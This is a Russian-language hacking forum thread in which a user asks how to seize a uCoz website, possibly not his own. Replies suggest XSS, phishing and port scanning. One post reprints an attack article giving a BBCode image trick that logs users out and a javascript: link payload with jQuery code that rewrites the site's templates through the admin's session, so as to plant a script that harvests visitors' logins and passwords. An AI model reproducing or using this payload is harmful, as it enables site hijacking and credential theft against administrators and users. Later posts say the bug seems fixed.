ucoz что можно сделать

[dimkaa123]

Что можно сделать с сайтом на Ucoz, просто у меня его украли, а я как то вернуть хочу. Даже домен у меня остался. Есть какие то уязвимости у такого сайта? может как то можно пароль от ПУ и ответ на секретку вытащить, узнать. Или как по другому?

[Unknown]

Давай на чистоту, я думаю, что ты хочешь ломануть НЕ свой сайт. Во-вторых, подумай головой, как думаешь если бы в ucoz была уязвимость, то она бы распространялось на один сайт или на всю систему?

[GoodGoogle]

XSS, его вроде до сих пор не залатали.... Была темка когда то на античате, но я ее удалил) по просьбе одного человека.

[seozone]

на ucoz нет поддержки php, только html там багов нету кроме xss

[OxoTnik]

XSS вам ничего не даст, да она там есть, только куки хранятся на сторонних серверах

[seozone]

dimkaa123 said:
Что можно сделать с сайтом на Ucoz, просто у меня его украли, а я как то вернуть хочу. Даже домен у меня остался. Есть какие то уязвимости у такого сайта? может как то можно пароль от ПУ и ответ на секретку вытащить, узнать. Или как по другому?


попробуй фейком угнать

[Саранча]

XSS Попробуй.

[mod_]

если хтмл отключон то врядли ты его угонишь.скорее даже наверняка ниче не сможешь сделать.если он действительно твой то пиши в суппорт юкоза.побольше инфы им предоставь.поверят-может проверят-может вернут.и вообще не понятно.сайт у тебя угнали а профиль unet тоже чтоли?или у тебя его и небыло.насколько мне известно,то сайты на юкозе именно через этот профиль создвются.покрайней мере я именно через него управлял своими.или ты чета не договариваешь или я чета не понимаю

[mod_]

Саранча said:
XSS Попробуй.


толку от хсс не будет.активных там нет.а пассивных смысл?даже если и придут куки то херли толку.ниче он с ними сделать не сможет.ибо на юкозе у одмина привязка по йп по умолчанию стоит.

Я даже сомневаюсь что ему удастся впарить ссыль челу который якобы угнал его сайт.я даже уверен в этом

[Pirotexnik]

Как-то раз знакомый хекал сервер юкозовский. Причем там был паблик баг. Так что пройдись nmaр-ом на всякий случай.

[WendM]

Существует такая система для клепания сайтов под названием uCoz. Пользуются ей в основном те, кто не знаком с такими окуенно сложными вещами как Joomla, DLE и пр. — школота. Но прогуливаясь по просторам интернета часто натыкаешься на эти чудо-сайты. И иногда просто хочется взять и развидеть это го*но. Собственно пару способов это сделать можно узнать под катом.

Первая уязвимость: BB код

Сама уязвимость заключается в возможности «подгрузки» не картинки, а чего-нибудь другого. К примеру страницы выхода из аккаунта, которая располагается по адресу адрес_сайта/index/10:[I M G]http://адрес_сайта/index/10?.jpg[/I M G] Кидаем себе в подпись или, что лучше, кидаем в чат и наслаждаемся зрелищем. Кучка школьников наверняка где-то пробует войти в свой профиль, тут же выходит из него и ловит окуенные баттхёрты ^__^.

Вторая уязвимость: BB код [U R L]

Учитывая, что на козе хостятся более миллиона сайтов смешной является уязвимость, которая даёт возможность использовать псевдопротокол «javascript:». Что смешно, не проверяется даже является ли строка ссылкой вообще >_');]Не нажимать[/U R L][/CODE] Собственно, а как это использовать?

Используя jQuery конструкции вида/*Получаем исходник шаблона страницы*/

$.get('/tmpls/?a=tmpl;m=3;t=3', function (o) {

/*Делаем POST запрос с новыми параметрами*/

$.post('/tmpls/', {

//как угодно изменяем шаблон до этой функции или прямо тут через регэкспы

//а далее подставляем нужные параметры

tmpl: $('textarea[name="tmpl"]', o).val(),

a: 'tmpl',

t: '3',

m: '3',

tt: '1',

ssid: $('input[name="ssid"]', o).val()

});

});

/*Вообщем обычные GET и POST запросы с нужными вам параметрами*/ у вас есть также возможность удалённо с помощью скрипта, который вы внедрите, изменять шаблоны различных страниц сайта. Это, можно считать, отдельная уязвимость. Так вот, вы можете внедрить в любой шаблон скрипт по отправке полей «имя» и «пароль» по нажатию на кнопку «вход». Для этого киньте админу в личку скрипт, для установки скрипта, собирающего пароли на сайт. Подождите пока он нажмёт на ссылку. И собирайте логины. Уже через логины можно получить доступ к сайтам на укозе конкретных пользователей, а также к другим (возможно) сайтам на которых пользователь зареген через их почту.

В тегах U R L и I M G убрать пробелы.

Автор статьи : TickHack

[mod_]

щас проверим в топе юкоза)

[WendM]

mod_ said:
щас проверим в топе юкоза)


отпиши о результате. тоже интересно)

[mod_]

да.в каком году интересно эта статья писалась

[mod_]

пока только про чат могу сказать конкретно.при попытке вставить туда вв коды [урл] и [имг] выскакивает окошко.обнаруженны запрещенные ввкоды ([имг] или [урл]) на паре сайтов пробовал.одно и тоже.где прокатит не стал искать.сайтов дохрена)

+не на всех сайтах чат стоит

[DasTem]

а какая там XSS??

[Logan22]

mod_ said:
пока только про чат могу сказать конкретно.при попытке вставить туда вв коды [урл] и [имг] выскакивает окошко.обнаруженны запрещенные ввкоды ([имг] или [урл]) на паре сайтов пробовал.одно и тоже.где прокатит не стал искать.сайтов дохрена)
+не на всех сайтах чат стоит


У меня прокатило, но как не старался что и теги имг как и теги урл получались как будто они простой текст.

Ошибки быть не может. Бага уже такого нету